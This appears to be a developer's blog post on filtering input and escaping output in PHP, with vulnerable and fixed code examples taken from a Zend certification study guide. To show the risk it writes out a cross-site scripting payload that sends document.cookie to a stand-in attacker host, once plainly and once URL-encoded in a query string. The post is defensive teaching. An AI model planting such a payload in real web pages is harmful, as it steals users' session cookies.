I’m currently working on cleaning up the sanitisation and validation libraries in our homegrown framework at Netbasic here, and I was given an excerpt from the Php|architect’s Zend PHP 5 Certification Study Guide – the Security chapter. The summary section really outlines a key point you should always bear in mind when writing any PHP code… filter input, escape output.
Filtering input is important, and it is recommended to do this using a “white list” approach – i.e. you specify a valid choice of values for a particular field – if it does not match then discard it. Consider this:
// Example 1 $value = $_GET["colour"]; echo "Your favourite colour is {$value}";
This first example shows lack of filtering. Potentially, as the study guide shows, the colour could be overridden and set to be:
<script> document.location = 'http://myhackingsite.com/getcookies.php?cookies=' + document.cookie; </script>
This small piece of Javascript would then pick up people’s cookies. Lets look at the second example…
// Example 2 $value = "white"; $valid_colours = array("red","green","blue"); if(in_array($_GET["colour"], $valid_colours)) { $value = $_GET["colour"]; } echo "Your favourite colour is {$value}";
This piece of code is much safer (although not totally secure…). $value has been initialised. Although I ensure register_globals = Off where possible, there may be some hosts that have register_globals On. The “colour” $_GET value is checked against a white list, and if it does not match, it is not assigned. If $value is not initialised and register_globals was On, then someone could pass a query such as:
http://mywebsite.com/example.php?colour=notacolour&value=%3Cscript%3Edocument. location+%3D+%27http%3A%2F%2Fmyhackingsite.com%2Fgetcookies.php%3Fcookies%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E
What would happen is that the “colour” argument would not match the white list, but value would be initialised with the above piece of cookie-collecting Javascript. An even safer version of this code is with escaped output:
// Example 3 $value = "white"; $valid_colours = array("red","green","blue"); if(in_array($_GET["colour"], $valid_colours)) { $value = $_GET["colour"]; } $value = htmlentities($value); echo "Your favourite colour is {$value}";
Even with register_globals On and $value uninitialised, the end user will just see the Javascript directly, rather than the browser parsing it.
Don’t forget, output isn’t limited to just outputting to the browser through echo or print – you need to think about storing data, such as in MySQL databases or in files. Thankfully, PHP provides database-specific escaping functions, such as mysql_real_escape_string.
There’s much more to this than just what I’ve explained, and the study guide goes into a bit more depth. I recommend you pick up a copy and read it, even if you’re not studying for a Zend certification.
